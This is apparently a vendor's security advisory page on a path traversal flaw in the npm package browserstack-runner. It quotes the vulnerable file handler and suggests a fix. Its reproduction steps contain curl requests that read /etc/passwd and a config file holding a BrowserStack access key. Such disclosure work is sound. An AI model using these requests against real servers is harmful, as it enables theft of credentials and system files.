GHSA-8rpw-6cqh-2v9h — browserstack-runner
MEDIUMGHSA-8rpw-6cqh-2v9h is a medium-severity (CVSS 6.5) Path Traversal vulnerability in browserstack-runner. No vendor fix is recorded yet; mitigation options are listed below.
browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8rpw-6cqh-2v9h.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8rpw-6cqh-2v9h plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
browserstack-runnernpmDescription
Summary
The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
Root Cause
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
Steps to Reproduce
Step 1 : Start the server (Terminal 1)
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
Step 2 : Read arbitrary files (Terminal 2)
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note:
--path-as-isis required because curl normalizes../sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.
Expected Result
/etc/hostname→ server returns the machine hostname/etc/passwd→ server returns the full passwd filebrowserstack.json→ server returns the config including the BrowserStack access key
Impact
- BrowserStack access key theft :
browserstack.jsonis always in the project root (same directory the server serves from), and containsusernameandkeyin cleartext - Source code theft : all project files are readable
- System file disclosure :
/etc/passwd,/etc/shadow(if readable), SSH keys,.envfiles,.npmrc(npm tokens), etc. - Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker
Suggested Fix
- Validate the resolved path stays within the project root:
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
sendError(response, 'Forbidden', 403);
return;
}
- Bind on
127.0.0.1 - Add authentication to the
_defaulthandler
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | browserstack-runner | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for browserstack-runner, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of browserstack-runner has shipped for GHSA-8rpw-6cqh-2v9h yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8rpw-6cqh-2v9h can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8rpw-6cqh-2v9h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8rpw-6cqh-2v9h in your dependencies?
O3 Security finds GHSA-8rpw-6cqh-2v9h across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.